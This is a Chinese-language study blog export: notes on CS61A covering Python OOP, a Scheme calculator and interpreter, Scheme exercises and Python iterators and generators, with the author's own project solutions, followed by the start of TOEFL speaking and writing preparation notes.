add_complex_and_rational, (\u0026#34;rat\u0026#34;, \u0026#34;com\u0026#34;): add_rational_and_complex} multipliers = {(\u0026#34;com\u0026#34;, \u0026#34;rat\u0026#34;): mul_complex_and_rational, (\u0026#34;rat\u0026#34;, \u0026#34;com\u0026#34;): mul_rational_and_complex} 那么如果有新的子类,就可以在字典里面再加入一些值.\n那么就可以实现功能:\n\u0026gt;\u0026gt;\u0026gt; ComplexRI(1.5, 0) + Rational(3, 2) ComplexRI(3, 0) \u0026gt;\u0026gt;\u0026gt; Rational(-1, 2) * ComplexMA(4, pi/2) ComplexMA(2, 1.5 * pi) 那么强制类型转换其实也很简单了:\n\u0026gt;\u0026gt;\u0026gt; def rational_to_complex(r): return ComplexRI(r.numer/r.denom, 0) 在可以转换的情况下,可以直接返回一个实部是分数值,虚部是0的一个虚数.\n​\t这一节比较长,但是不难理解.\n1.2.10效率 # 记忆化\t时空复杂度的问题\n1.2.11递归对象 # 链表,树和集合\n​\t后面两篇没咋看,直接做lab,先做ants(https://insideempire.github.io/CS61A-Website-Archive/proj/ants/index.html).主要就是OOP的思想实现一个类似于植物大战僵尸的小游戏,感觉也比较有意思,我们来体验一下OOP.\n​\t这个unlock部分就好像是在做什么任务型阅读一样.\n​\t游戏确实还是比较有意思的,基本就是读逻辑,然后去实现,比PVZ简单很多.\n​\t要注意更改list的浅拷贝遍历的问题,以及不要打破抽象屏障才是规范的.\n​\t技巧就是在浅拷贝上面遍历,在原来要修改的地方进行修改.\ndef reduce_health(self, amount): \u0026#34;\u0026#34;\u0026#34;Reduce health by AMOUNT, and remove the FireAnt from its place if it has no health remaining. Make sure to reduce the health of each bee in the current place, and apply the additional damage if the fire ant dies. \u0026#34;\u0026#34;\u0026#34; # BEGIN Problem 5 \u0026#34;*** YOUR CODE HERE ***\u0026#34; # 尽力不打破抽象屏障 damage_to_bees = amount bees_with_fire = self.place.bees Ant.reduce_health(self, amount) if self.health \u0026lt;= 0: damage_to_bees += self.damage # 使用浅拷贝,注意操作的对象还是一样的,两个数组之间的对象不是独立的,所以才叫\u0026#34;浅\u0026#34;拷贝 for bee in bees_with_fire[:]: Insect.reduce_health(bee, damage_to_bees) if bee.health \u0026lt;= 0: Insect.remove_from(bee, bee.place) # END Problem 5 ​\t注意我们在调用方法和参数的时候,self,以及类名对应.\n​\t比如在没有更改的情况下,self.damage的值和class持有的damage的值是相同的,但是一旦发生变化,那么就各自持有各自的值.\n#Problem 6 class HungryAnt(Ant): name = \u0026#39;Hungry\u0026#39; implemented = True damage = 0 food_cost = 4 chew_cooldown = 3 def __init__(self, health=1, cooldown=0): super().__init__(health) self.cooldown = cooldown def action(self, gamestate): if self.cooldown == 0: unlucky_bee = random_bee(self.place.bees) if unlucky_bee != None: Insect.reduce_health(unlucky_bee, unlucky_bee.health) self.cooldown = HungryAnt.chew_cooldown else: self.cooldown -= 1 ​\tOK,Ants结束,很好的体验了一下简单的OOP,附加就暂时不写了,时间比较紧张.\n之后做lab08,hw05已经做过了,我们就结束了第二章.\n简单力扣水平吧.\n1.3计算机程序的解释 # 1.3.1引言 # 解释器\t设计语言而不是仅仅是使用者,这是程序员的视角\n用py写一个解释Scheme语言的解释器.\n​\t我们研究怎样设计一个解释器,核心是两个互递归函数,第一个求解环境中的表达式,第二个把函数应用于参数\nLab10:\nREPL\u0026mdash;读取,求值,打印循环\n1.读取:\n词法分析:把输入的字符串分解为token\n语法分析:把这些token组织成数据结构,用来处理\u0026mdash;pair\n2.求值:\neval:评估表达式,当是调用函数的时候,用apply获取结果.\napply:评估之后的运算符用于参数,还会调用eval.\n这是类似于那种前缀表达式之类的计算\n​\t这相当于是一个小的预习.整体的感觉就像下面一样,eval进行语法分析,并且调用具体的计算,apply根据不同的operand确定不同的计算方法,其中的部分还是会使用调用eval.\ndef calc_eval(exp): # 这是进行语法分析 if isinstance(exp, Pair): operator = exp.first# UPDATE THIS FOR Q2, e.g (+ 1 2), + is the operator operands = exp.rest # UPDATE THIS FOR Q2, e.g (+ 1 2), 1 and 2 are operands if operator == \u0026#39;and\u0026#39;: # and expressions return eval_and(operands) elif operator == \u0026#39;define\u0026#39;: # define expressions return eval_define(operands) else: # Call expressions return calc_apply(calc_eval(operator), operands.map(calc_eval)) # UPDATE THIS FOR Q2, what is type(operator)? elif exp in OPERATORS: # Looking up procedures return OPERATORS[exp] elif isinstance(exp, int) or isinstance(exp, bool): # Numbers and booleans return exp # 用bindings实现变量的定义的问题 elif exp in bindings: # CHANGE THIS CONDITION FOR Q4 where are variables stored? return bindings[exp] # UPDATE THIS FOR Q4, how do you access a variable? def calc_apply(op, args): return op(args) def floor_div(args): # 实现除法的逻辑,apply把\u0026#39;//\u0026#39;绑定到我们的这个方法上面去 # 类似与链表,用循环处理 curr = args res = curr.first while curr.rest != nil: res //= curr.rest.first curr = curr.rest return res scheme_t = True # Scheme\u0026#39;s #t scheme_f = False # Scheme\u0026#39;s #f def eval_and(expressions): # 实现一个and表达式,注意所有表达式为True,返回最后一个表达式的值 if expressions is nil: return scheme_t curr = expressions while curr.rest is not nil: value = calc_eval(curr.first) if value is scheme_f: return scheme_f curr = curr.rest # 理解pair是怎么工作的 return calc_eval(curr.first) bindings = {} def eval_define(expressions): # 直接进行符号绑定,要先进行求值的操作 # 注意要绑定的是一个值表达式,所以是exp.rest.first!!! variable = expressions.first value_exp = expressions.rest.first value = calc_eval(value_exp) bindings[variable] = value return variable 1.3.2函数式编程 # ​\tScheme 是 Lisp 的一个变种，而 Lisp 是继 Fortran 之后仍然广受欢迎的第二古老的编程语言。Lisp 程序员社区几十年来持续蓬勃发展，Clojure 等 Lisp 的新方言拥有现代编程语言中增长最快的开发人员社区。如果你想亲手试试本文中的例子，可以下载一个 Scheme 的解释器 来操作。\n1.3.2.1表达式 # 前缀表达式:\n(+ (* 3 5) (- 10 6)) 可以写在多行上面:\n(+ (* 3 (+ (* 2 4) (+ 3 5))) (+ (- 10 7) 6)) if表达式:\n(if \u0026lt;predicate\u0026gt; \u0026lt;consequent\u0026gt; \u0026lt;alternative\u0026gt;) 比较方法:\n(\u0026gt;= 2 1) (and \u0026lt;e1\u0026gt; ... \u0026lt;en\u0026gt;) 解释器会从左到右依次检查 \u0026lt;e\u0026gt; 表达式。一旦有一个 \u0026lt;e\u0026gt; 的结果是假，整个 and 表达式就直接返回假，并且剩下的 \u0026lt;e\u0026gt; 表达式不再检查。只有当所有 \u0026lt;e\u0026gt; 都是真时，and 表达式的返回值才是最后一个表达式的结果。 (or \u0026lt;e1\u0026gt; ... \u0026lt;en\u0026gt;) 解释器会从左到右依次检查 \u0026lt;e\u0026gt; 表达式。一旦有一个 \u0026lt;e\u0026gt; 的结果是真，or 表达式就直接返回那个真值，并且剩下的 \u0026lt;e\u0026gt; 表达式不再检查。只有当所有 \u0026lt;e\u0026gt; 都是假时，or 表达式才返回假。 (not \u0026lt;e\u0026gt;) 当 \u0026lt;e\u0026gt; 表达式的结果是假时，not 表达式就返回真，否则返回假。 1.3.2.2定义 # define可以定义一个新的变量.\n类似于:\n(define (\u0026lt;name\u0026gt; \u0026lt;formal parameters\u0026gt;) \u0026lt;body\u0026gt;) (define (square x) (* x x)) (square 21) (square (+ 2 5)) (square (square 3)) 嵌套定义 递归 局部定义:\n(define (sqrt x) (define (good-enough? guess) (\u0026lt; (abs (- (square guess) x)) 0.001)) (define (improve guess) (average guess (/ x guess))) (define (sqrt-iter guess) (if (good-enough? guess) guess (sqrt-iter (improve guess)))) (sqrt-iter 1.0)) (sqrt 9) 创建lambda表达式:(只是不用设置函数名)\n((lambda (x y z) (+ x y (square z))) 1 2 3) 1.3.2.3复合类型 # pair内置数据结构.\n你可以这样访问,注意表示的方式.\n(define x (cons 1 2)) x (1 . 2) (car x) 1 (cdr x) 2 1.3.2.4符号数据 # 引用符号a b而不是他们的值,怎么上符号.\nscm\u0026gt; (define a 1) a scm\u0026gt; (define b 2) b scm\u0026gt; (list a b) (1 2) scm\u0026gt; (list \u0026#39;a b) (a 2) scm\u0026gt; (list \u0026#39;a \u0026#39;b) (a b) 任何不被求值的表达式都是引用.\n1.3.3异常 Exceptions # 异常是一个对象实例,继承自某个BaseException类,常见用法就是构造实例然后抛出.\n\u0026gt;\u0026gt;\u0026gt; raise Exception(\u0026#39; An error occurred\u0026#39;) Traceback (most recent call last): File \u0026#34;\u0026lt;stdin\u0026gt;\u0026#34;, line 1, in \u0026lt;module\u0026gt; Exception: an error occurred \u0026ldquo;\u0026ldquo;表示这个异常是在交互会话中触发的,而并非来自于某个文件.\nhandling exceptions:\n用try来处理:\ntry: \u0026lt;try suite\u0026gt; except \u0026lt;exception class\u0026gt; as \u0026lt;name\u0026gt;: \u0026lt;except suite\u0026gt; ​\t在执行 try 语句时，\u0026lt;try suite\u0026gt; 总是立即执行。只有在执行 \u0026lt;try suite\u0026gt; 过程中发生异常时，except 子句的内容才会执行。每个 except 子句指定了要处理的特定异常类。例如，如果 \u0026lt;exception class\u0026gt; 是 AssertionError，那么在执行 \u0026lt;try suite\u0026gt; 过程中引发的任何继承自 AssertionError 类的实例都将由随后的 \u0026lt;except suite\u0026gt; 处理。在 \u0026lt;except suite\u0026gt; 内部，标识符 \u0026lt;name\u0026gt; 绑定到被引发的异常对象，但此绑定不会在 \u0026lt;except suite\u0026gt; 之外存在。\n比如:当出现某种异常的时候,我们会有对应的处理方法.\n\u0026gt;\u0026gt;\u0026gt; try: x = 1 / 0: except ZeroDivisionError as e: print(\u0026#39;handling a\u0026#39;, type(e)) x = 0 handling a \u0026lt;class \u0026#39;ZeroDivisionError\u0026#39;\u0026gt; \u0026gt;\u0026gt;\u0026gt; x 0 异常对象.\n自定义继承于Exception即可,可以具有属性.\n​\t简单来讲,异常处理使得程序更有健壮性.\n1.3.4组合语言的解释器 # 解释器就是一种函数.\n1.3.4.1基于Scheme语法的计算器 # 基本运算:\nscm\u0026gt; (*) 1 scm\u0026gt; (+ 1 2 3 4) 10 scm\u0026gt; (* 1 1 4 5 1 4) 80 ​\t减法（）具有两种行为。只传入一个参数时，它会对该值取相反数。传入至少两个参数时，它会用第一个参数减去之后的所有参数。除法（）也有类似的两种行为：计算单个参数的倒数，或用第一个参数除以之后的所有参数.\n先对于子表达式求值,再得到最后的结果:\nscm\u0026gt; (- 100 (* 7 (+ 8 (/ -12 -3)))) 16.0 1.3.4.2表达式树 # ​\tScheme对,列表一定是嵌套对.\n​\t实现的时候,所有的计算器语言表达式都是py的Pair列表,我们读入嵌套的列表并且转换为pair实例的表达式树.\n\u0026gt;\u0026gt;\u0026gt; expr = Pair(\u0026#39;+\u0026#39;, Pair(Pair(\u0026#39;*\u0026#39;, Pair(3, Pair(4, nil))), Pair(5, nil))) \u0026gt;\u0026gt;\u0026gt; print(expr) (+ (* 3 4) 5) \u0026gt;\u0026gt;\u0026gt; print(expr.second.first) (* 3 4) \u0026gt;\u0026gt;\u0026gt; expr.second.first.second.first 3 1.3.4.3解析表达式 # 原始文本\u0026mdash;\u0026gt;表达式树 的过程.\n解析器:\n1.词法分析器 lexical analyzer\n​\t输入字符串\u0026mdash;\u0026gt;划分成token\n2.语法分析器 syntactic analyzer\n​\t根据生成的token生成表达式树 token序列会被语法分析器消耗\n1.3.4.3.1词法分析 # tokenizer\n对于格式良好的表达式进行分词的操作:\n\u0026gt;\u0026gt;\u0026gt; tokenize_line(\u0026#39;(+ 1 (* 2.3 45))\u0026#39;) [\u0026#39;(\u0026#39;, \u0026#39;+\u0026#39;, 1, \u0026#39;(\u0026#39;, \u0026#39;*\u0026#39;, 2.3, 45, \u0026#39;)\u0026#39;, \u0026#39;)\u0026#39;] 可以单独作用于每一行\n1.3.4.3.2语法分析 # 树递归.\n\u0026gt;\u0026gt;\u0026gt; lines = [\u0026#39;(+ 1\u0026#39;, \u0026#39; (* 2.3 45))\u0026#39;] \u0026gt;\u0026gt;\u0026gt; expression = scheme_read(Buffer(tokenize_lines(lines))) \u0026gt;\u0026gt;\u0026gt; expression Pair(\u0026#39;+\u0026#39;, Pair(1, Pair(Pair(\u0026#39;*\u0026#39;, Pair(2.3, Pair(45, nil))), nil))) \u0026gt;\u0026gt;\u0026gt; print(expression) (+ 1 (* 2.3 45)) ​\t信息丰富的语法错误的反馈,可以极大地提高解释器的可用性(也就是异常)。由此引发的 SyntaxError 异常包含对所遇问题的描述。\n​\t总之就是读取token,然后生成Pair.\n1.3.4.4计算器语言求值 # 求值器,表达式作为一个参数并且返回一个值.\n1.3.5抽象语言的解释器 # ​\t我们的大部分lab都将在这一章结束.\n​\tHW 07、HW 08、HW 09、Lab 10\u0026amp;Lab11、Scheme、Scheme Challenge、Scheme Contest.\n​\t加油!\n怎么定义新的运算符以及为我们的值进行命名.\n1.3.5.1结构 # 1.正确解析点列表和引号\n\u0026gt;\u0026gt;\u0026gt; read_line(\u0026#34;(car \u0026#39;(1 . 2))\u0026#34;) Pair(\u0026#39;car\u0026#39;, Pair(Pair(\u0026#39;quote\u0026#39;, Pair(Pair(1, 2), nil)), nil)) 2.求值\u0026mdash;一种简化的形式\n\u0026gt;\u0026gt;\u0026gt; def scheme_eval(expr, env): \u0026#34;\u0026#34;\u0026#34;Evaluate Scheme expression expr in environment env.\u0026#34;\u0026#34;\u0026#34; if scheme_symbolp(expr): return env[expr] elif scheme_atomp(expr): return expr first, rest = expr.first, expr.second if first == \u0026#34;lambda\u0026#34;: return do_lambda_form(rest, env) elif first == \u0026#34;define\u0026#34;: do_define_form(rest, env) return None else: procedure = scheme_eval(first, env) args = rest.map(lambda operand: scheme_eval(operand, env)) return scheme_apply(procedure, args, env) 基本流程还是lab10中我们写过的.\n1.3.5.2环境ENV # ​\t类似于py,现在我们已经描述了 Scheme 解释器的结构，接下来我们来实现构成环境的 Frame 类。每个 Frame 实例代表一个环境，在这个环境中，符号与值绑定。一个帧有一个保存绑定（bindings）的字典，以及一个父（parent）帧。对于全局帧而言，父帧为 None。这就是环境的实现方法.\n​\t绑定不能直接访问，而是通过两种 Frame 方法：lookup 和 define。第一个方法实现了第一章中描述的计算环境模型的查找流程。符号与当前帧的绑定相匹配。如果找到它，则返回它绑定到的值。如果没有找到，则继续在父帧中查找。另一方面，define 方法用来将符号绑定到当前帧中的值。\nlookup逐渐向上进行查找,define用来和frame进行绑定.\n(define (factorial n) (if (= n 0) 1 (* n (factorial (- n 1))))) (factorial 5) 120 do_define_form来进行求值的操作.\n来分析上面的两个输入.\n第一个输入表达式是一个 define 形式，将由 Python 函数 do_define_form 求值。定义一个函数有如下步骤：\n检查表达式的格式，确保它是一个格式良好的 Scheme 列表，在关键字 define 后面至少有两个元素。 分析第一个元素（这里是一个 Pair），找出函数名称 factorial 和形式参数表 (n)。 使用提供的形式参数、函数主体和父环境创建 LambdaProcedure。 在当前环境的第一帧中，将 factorial 符号与此函数绑定。在示例中，环境只包括全局帧。 第二个输入是调用表达式。传递给 scheme_apply 的 procedure 是刚刚创建并绑定到符号 factorial 的 LambdaProcedure。传入的 args 是一个单元素 Scheme 列表 (5)。为了应用该函数，我们将创建一个新帧来扩展全局帧（factorial 函数的父环境）。在这帧中，符号 n 被绑定为数值 5。然后，我们将在该环境中对 factorial 函数主体进行求值，并返回其值。\n​\t这里有点复杂,还是具体做的时候再看.\n1.3.5.3数据即程序 # 程序是对于抽象机器的描述.\n用户的程序就是解释器的数据.\n在执行过程中对于构建的表达式进行求值.\nschemeLab简单记录 # 熟悉scheme # ​\t逆天超级小括号语言.\nscheme其实是一种诞生于这门课程的著名的教学语言.\n会写简单的scheme代码,主要是理解前缀表达式.\n比如实现幂函数:\n(define (pow base exp) (if (or (= base 1) (= exp 0)) 1 (* base (pow base (- exp 1)))) ) let语句进行局部变量的绑定:\n(define (repeatedly-cube n x) (if (zero? n) x (let ((y (* x x x))) (repeatedly-cube (- n 1) y)))) car:获取list的第一个元素.\ncdr:获取list中除第一个元素的剩余部分.\n(define (cadr s) (car (cdr s)) ) (define (caddr s) (car (cdr (cdr s))) ) 那么这样的简单实现就是返回list中的第几个元素.\n怎么使用条件?\n(define (ascending? s) (or (null? s) (null? (cdr s)) (and (\u0026lt;= (car s) (car (cdr s))) (ascending? (cdr s))) ) ) 返回满足条件的list中的元素,list的本质还是pair对:\ncond就是类似于switch语句,最后的else就是default.\ncons就是给定两个参数,构造一个pair的数据对象.\n(define (my-filter pred s) (cond ((null? s) \u0026#39;()) ((pred (car s)) (cons (car s) (my-filter pred (cdr s)))) (else (my-filter pred (cdr s))) ) ) 交替取两个数组的元素:\n(define (interleave lst1 lst2) (cond ((null? lst1) lst2) ((null? lst2) lst1) (else (cons (car lst1) (cons (car lst2) (interleave (cdr lst1) (cdr lst2))))))) 怎么用lambda函数:\n(define (no-repeats s) (if (null? s) \u0026#39;() (cons (car s) (no-repeats (filter (lambda (x) (not (= x (car s)))) (cdr s)))))) `做代码构造,有点模板的味道,还有 , 表示先不要引用,先进行动态的求值.\n代码生成,动态构造lambda表达式.\n(define (curry-cook formals body) (if (null? (cdr formals)) `(lambda (,(car formals)) ,body) `(lambda (,(car formals)) ,(curry-cook (cdr formals) body)))) curry展开的操作:\n(define (curry-consume curry args) (if (null? args) curry (let ((result (curry (car args)))) (curry-consume result (cdr args))))) 这几行代码真是抽象过头了:\n把switch语句转换成cond语句,`做代码生成,map把lambda应用于list上面去.\n(define (switch-to-cond switch-expr) (cons `cond (map (lambda (option) (cons (list `equal? (car (cdr switch-expr))(car option)) (cdr option))) (car (cdr (cdr switch-expr))) ) )) 比如实现欧几里得算法:\n(define (gcd a b) (if (= b 0) a (gcd b (modulo a b)))) 插入:\n(define (pow-expr base exp) (cond ((= exp 0) 1) ((= exp 1) `(* ,base 1)) ((even? exp) `(square ,(pow-expr base (/ exp 2)))) (else `(* ,base ,(pow-expr base (- exp 1)))))) 宏函数和begin的用法:\n宏定义.begin\u0026mdash;\u0026gt;按照顺序执行一系列的子句(\u0026hellip;)(\u0026hellip;)\n(define-macro (repeat n expr) `(repeated-call ,n (lambda() ,expr))) ; Call zero-argument procedure f n times and return the final result. (define (repeated-call n f) (if (= n 1) (f) (begin (f) (repeated-call (- n 1) f)))) 解释器的实现 # 我们要更改四个文件:\nscheme_eval_apply.py scheme_forms.py scheme_classes.py questions.scm PARTI:Evaluator # 求值器的作用.\n符号定义和查找.\n表达式求值.\n调用已经实现的方法.\n环境,frame的问题,比如lookup的实现:\n我们遍历字典的键值对.\n# 从我当前的这个frame开始往parent的frame进行查找,找到并且返回这个value def lookup(self, symbol): \u0026#34;\u0026#34;\u0026#34;Return the value bound to SYMBOL. Errors if SYMBOL is not found.\u0026#34;\u0026#34;\u0026#34; # BEGIN PROBLEM 1 curr = self while curr != None: for key, value in curr.bindings.items(): if key == symbol: return curr.bindings[key] curr = curr.parent # END PROBLEM 1 raise SchemeError(\u0026#39;unknown identifier: {0}\u0026#39;.format(symbol)) PARTII:Procedures # lambda函数,自定义函数,动态作用域\n理解我们自己创建的函数是怎么被调用的,以及frame的作用原理和规则\nPARTIII:Special Forms # 这是关于如何实现let函数,主要是还是理解expr的Pair形式是怎样的.\ndef make_let_frame(bindings, env): \u0026#34;\u0026#34;\u0026#34;Create a child frame of Frame ENV that contains the definitions given in BINDINGS. The Scheme list BINDINGS must have the form of a proper bindings list in a let expression: each item must be a list containing a symbol and a Scheme expression.\u0026#34;\u0026#34;\u0026#34; if not scheme_listp(bindings): raise SchemeError(\u0026#39;bad bindings list in let form\u0026#39;) names = vals = nil # BEGIN PROBLEM 14 # 传进来的bindings应该是一个pair对象 # 我还要倒着构造两个pair串 curr = bindings while curr != nil: validate_form(curr.first, 2, 2) binding = curr.first names = Pair(binding.first, names) vals = Pair(binding.rest.first, vals) curr = curr.rest validate_formals(names) # 然后还要对于vals表达式进行求值 vals = nil curr = bindings while curr != nil: val = scheme_eval(curr.first.rest.first, env) vals = Pair(val, vals) curr = curr.rest # END PROBLEM 14 return env.make_child_frame(names, vals) ​\t整体实现难度不高,都在我的仓库里面.\n1.4数据处理 # 程序被组织成对于顺序数据流操作的管道.\n有效的处理和操作连续的数据流.\n无限序列.\n1.4.1隐式序列 # 不是把所有元素显式的存放在内存中.而是在访问某个元素的时候,才去计算它的值.\n\u0026gt;\u0026gt;\u0026gt; r = range(10000,1000000000) \u0026gt;\u0026gt;\u0026gt; r[45006230] 45016230 显然range肯定不会存放这么多数字,而是调用的时候直接加上一个值得到value.\n那么这就是惰性计算(Lazy Computation),这是本篇的重点.\n1.4.1.1iterator # \u0026gt;\u0026gt;\u0026gt; primes = [2, 3, 5, 7] \u0026gt;\u0026gt;\u0026gt; type(primes) \u0026lt;class \u0026#39;list\u0026#39;\u0026gt; \u0026gt;\u0026gt;\u0026gt; iterator = iter(primes) \u0026gt;\u0026gt;\u0026gt; type(iterator) \u0026lt;class \u0026#39;list-iterator\u0026#39;\u0026gt; \u0026gt;\u0026gt;\u0026gt; next(iterator) 2 \u0026gt;\u0026gt;\u0026gt; next(iterator) 3 \u0026gt;\u0026gt;\u0026gt; next(iterator) 5 获取迭代器,和基本的遍历操作.\n没有更多,引发StopIteration异常:\n\u0026gt;\u0026gt;\u0026gt; next(iterator) 7 \u0026gt;\u0026gt;\u0026gt; next(iterator) Traceback (most recent call las): File \u0026#34;\u0026lt;stdin\u0026gt;\u0026#34;, line 1, in \u0026lt;module\u0026gt; StopIteration \u0026gt;\u0026gt;\u0026gt; try: next(iterator) except StopIteration: print(\u0026#39;No more values\u0026#39;) No more values 两个迭代器是独立的:\n\u0026gt;\u0026gt;\u0026gt; r = range(3, 13) \u0026gt;\u0026gt;\u0026gt; s = iter(r) # r 的第一个迭代器 \u0026gt;\u0026gt;\u0026gt; next(s) 3 \u0026gt;\u0026gt;\u0026gt; next(s) 4 \u0026gt;\u0026gt;\u0026gt; t = iter(r) # r 的第二个迭代器 \u0026gt;\u0026gt;\u0026gt; next(t) 3 \u0026gt;\u0026gt;\u0026gt; next(t) 4 \u0026gt;\u0026gt;\u0026gt; u = t # u 绑定到 r 的第二个迭代器 \u0026gt;\u0026gt;\u0026gt; next(u) 5 \u0026gt;\u0026gt;\u0026gt; next(u) 6 1.4.1.2可迭代性 # 可迭代对象:序列 + 容器\n\u0026gt;\u0026gt;\u0026gt; d = {\u0026#39;one\u0026#39;: 1, \u0026#39;two\u0026#39;: 2, \u0026#39;three\u0026#39;: 3} \u0026gt;\u0026gt;\u0026gt; d {\u0026#39;one\u0026#39;: 1, \u0026#39;three\u0026#39;: 3, \u0026#39;two\u0026#39;: 2} \u0026gt;\u0026gt;\u0026gt; k = iter(d) \u0026gt;\u0026gt;\u0026gt; next(k) \u0026#39;one\u0026#39; \u0026gt;\u0026gt;\u0026gt; next(k) \u0026#39;three\u0026#39; \u0026gt;\u0026gt;\u0026gt; v = iter(d.values()) \u0026gt;\u0026gt;\u0026gt; next(v) 1 \u0026gt;\u0026gt;\u0026gt; next(v) 3 py3.6+\u0026mdash;\u0026gt;字典是有序的,按照插入的顺序\n1.4.1.3内置迭代器 # \u0026gt;\u0026gt;\u0026gt; def double_and_print(x): print(\u0026#39;***\u0026#39;, x, \u0026#39;=\u0026gt;\u0026#39;, 2*x, \u0026#39;***\u0026#39;) return 2*x \u0026gt;\u0026gt;\u0026gt; s = range(3, 7) \u0026gt;\u0026gt;\u0026gt; doubled = map(double_and_print, s) # double_and_print 未被调用 \u0026gt;\u0026gt;\u0026gt; next(doubled) # double_and_print 调用一次 *** 3 =\u0026gt; 6 *** 6 \u0026gt;\u0026gt;\u0026gt; next(doubled) # double_and_print 再次调用 *** 4 =\u0026gt; 8 *** 8 \u0026gt;\u0026gt;\u0026gt; list(doubled) # double_and_print 再次调用兩次 *** 5 =\u0026gt; 10 *** # list() 会把剩余的值都计算出来并生成一个列表 *** 6 =\u0026gt; 12 *** [10, 12] 例如map函数,只有iterator被next调用的时候,才会产生计算.\n1.4.1.4For语句 # for是对于迭代对象进行操作.\n\u0026gt;\u0026gt;\u0026gt; items = counts.__iter__() \u0026gt;\u0026gt;\u0026gt; try: while True: item = items.__next__() print(item) except StopIteration: pass 1 2 3 1.4.1.5生成器和yield语句 # 比如:\n\u0026gt;\u0026gt;\u0026gt; def letters_generator(): current = \u0026#39;a\u0026#39; while current \u0026lt;= \u0026#39;d\u0026#39;: yield current current = chr(ord(current) + 1) \u0026gt;\u0026gt;\u0026gt; for letter in letters_generator(): print(letter) a b c d 每次调用next的时候,每次执行到一个yield语句就直接返回.\n我们可以手动调用__next__来遍历这个生成器:\n\u0026gt;\u0026gt;\u0026gt; letters = letters_generator() \u0026gt;\u0026gt;\u0026gt; type(letters) \u0026lt;class \u0026#39;generator\u0026#39;\u0026gt; \u0026gt;\u0026gt;\u0026gt; letters.__next__() \u0026#39;a\u0026#39; \u0026gt;\u0026gt;\u0026gt; letters.__next__() \u0026#39;b\u0026#39; \u0026gt;\u0026gt;\u0026gt; letters.__next__() \u0026#39;c\u0026#39; \u0026gt;\u0026gt;\u0026gt; letters.__next__() \u0026#39;d\u0026#39; \u0026gt;\u0026gt;\u0026gt; letters.__next__() Traceback (most recent call last): File \u0026#34;\u0026lt;stdin\u0026gt;\u0026#34;, line 1, in \u0026lt;module\u0026gt; StopIteration ​\t结语,第四章的内容整体比较抽象,都是一些概览性的intro的内容,比如数据库,并行计算,多线程,开发,网络等,是很好的科普内容.\n","date":"10 August 2025","externalUrl":null,"permalink":"/cs61/cs61astructure-and-interpretation-of-computer-programs/","section":"Cs61s","summary":"\u003ch1 class=\"relative group\"\u003eCS61A：Structure and Interpretation of Computer Programs \n    \u003cdiv id=\"cs61astructure-and-interpretation-of-computer-programs\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#cs61astructure-and-interpretation-of-computer-programs\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t相当于简单学习一下py，再打一打编程的基础，因为课程lab的质量很高。\u003c/p\u003e","title":"CS61A:Structure and Interpretation of Computer Programs","type":"cs61"},{"content":"","date":"10 August 2025","externalUrl":null,"permalink":"/cs61/","section":"Cs61s","summary":"","title":"Cs61s","type":"cs61"},{"content":" TOEFL # ​\t这个笔记用来记录托福的备考.我是报了一个新东方网课,但是肯定自己要好好准备,线下的课程太贵并且我懒得通勤,大概就是这样的.\n​\tPractice makes perfect!!!\n​\t好难啊托福,尽力学吧.\nOK,也是直接拿下,虽然不是特别高,但是大概够用了.\nOverview # ​\t简单尝试了一下过去30个题的时候,很难很快,只能写对14个题目,不过有20分.\n​\t又尝试了20个题目,可以时间上相对宽松一点.\n​\t第一次听能听20+,但是能注意到有些比较难的地方就是英语文化相关的东西,听力问题不会太追求细节,这是好的.\n​\t口语第一次说感觉依托,但是批改是20?那可能是我口音还可以的缘故,但是我觉得不是很难练出来,多说,多思考.\n​\t看了几个备考的视频,就是说是每个人的情况都不一样,好好准备就可以练好.\n​\t背单词的话就是XDF托福pro和墨墨背单词,墨墨背单词是扩充词汇量,XDF托福pro是收集阅读和听力中陌生的单词.\n每日练习:\n​\t背单词 + 听力or阅读(单词积累) + 口语or写作(素材积累) + 上课\n​\t感觉备考基本就是这样,唯一要努力的就是去做.\nSpeaking # ​\t我个人感觉托福口语的难度还是小于雅思的,后面三篇就比较吃听力,第一篇就是要大量的积累和练习.首先敢说,其次说满,最后说好.\nTask1 独立口语 # 注意就是说完不重要,说清楚最重要.\n![2025-08-03_21-57 (1)](/img/2025-08-03_21-57 (1).png)\n当一件事情能耗费时间和精力的时候:\n该不该养宠物?\n![2025-08-03_21-58 (1)](/img/2025-08-03_21-58 (1).png)\n该不该学乐器?\n![2025-08-03_21-59 (1)](/img/2025-08-03_21-59 (1).png)\n方法1:找不同的受损方和受益方:\n![2025-08-03_21-59_2 (1)](/img/2025-08-03_21-59_2 (1).png)\n方法2:讲具体的故事情节来占用时间:\n![2025-08-03_21-59_3 (1)](/img/2025-08-03_21-59_3 (1).png)\n加一些情感句子:\n![2025-08-03_21-59_4 (1)](/img/2025-08-03_21-59_4 (1).png)\n最后没话说了强行占用时间:\n![2025-08-03_22-00 (1)](/img/2025-08-03_22-00 (1).png)\n常用语料 # 娱乐休闲\u0026mdash;\u0026gt;放松减压 # 工作:projects tasks\nrelax and unwind\n省时间做更重要的事情. # 提升沟通能力 # during the course\n增长见识 # Task2 会话观点 # 1.记主题\n2.理解观点,记录\n说清楚比说完更重要.\n你可以不看计时器.\n速记笔记\n干掉元音字母 也是外国人常用的\nfood fd\nweek wk\nroom rm\nreward rwd\nhousework hswk\nnbhd\n这里就是要多学习新的表达.\n学生建议信:\n学生的proposal\nTask3 学术概念解释 # 如何回答问题:\n一个范文:\n重点使用:\nIn this case\u0026hellip;\u0026hellip;\nas a result\u0026hellip;\u0026hellip;\nwhich means\u0026hellip;\u0026hellip;\n作连续句子串联,如果你想不起来了.\n表示喜欢:\nbe fond of\u0026hellip;\u0026hellip;\nchances are\u0026mdash;大概率\nTask4 学术讲座总结 # 模板基本就是:\n第一个直接看题干或者总结一下.\n说清楚最重要,后面不会可以不说.\n1.海底生物生存\n缓冲结构:get a greate\n举例子:let\u0026rsquo;s talk about\n2.目标客户\nIt\u0026rsquo;s very clear that\u0026hellip;\u0026hellip;=Apparently\n3.古代圈养动物\nWriting # 练习方法:\nvince老师.\u0026mdash;B站\n30天公众号练习.\n句子积累 # 社会问题分析:\n多使用名词的并列 + 精确的副词\n传统冲突:放烟花 set off 